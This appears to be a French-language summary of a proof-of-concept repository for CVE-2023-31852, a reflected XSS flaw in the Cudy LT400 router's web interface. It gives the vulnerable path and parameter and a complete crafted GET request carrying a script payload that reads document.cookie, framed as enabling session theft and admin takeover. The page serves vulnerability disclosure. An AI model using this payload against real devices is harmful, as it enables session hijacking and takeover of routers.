calfcrusher/cve-2023-31852Preuve de concept pour XSS réfléchi dans l'interface web Cudy LT400, démontrant le vol de cookies de session et la prise de contrôle admin via des requêtes malveillantes.
Attaque XSS (cross-site scripting) réfléchie dans l'interface de gestion web du Cudy LT400.
La page /cgi-bin/luci/admin/network/wireless/config présente une XSS réfléchie via le paramètre iface.
Les méthodes d'exploitation impliquent l'envoi d'une requête spécialement conçue à la victime contenant du code malveillant.
L'application affectée ne définit pas le cookie de session avec l'attribut HttpOnly ; cela peut entraîner le vol du jeton de session et la prise de contrôle de l'administrateur.
GET /cgi-bin/luci/admin/network/wireless/config?nomodal=&iface=wlan00%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/admin/setup
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology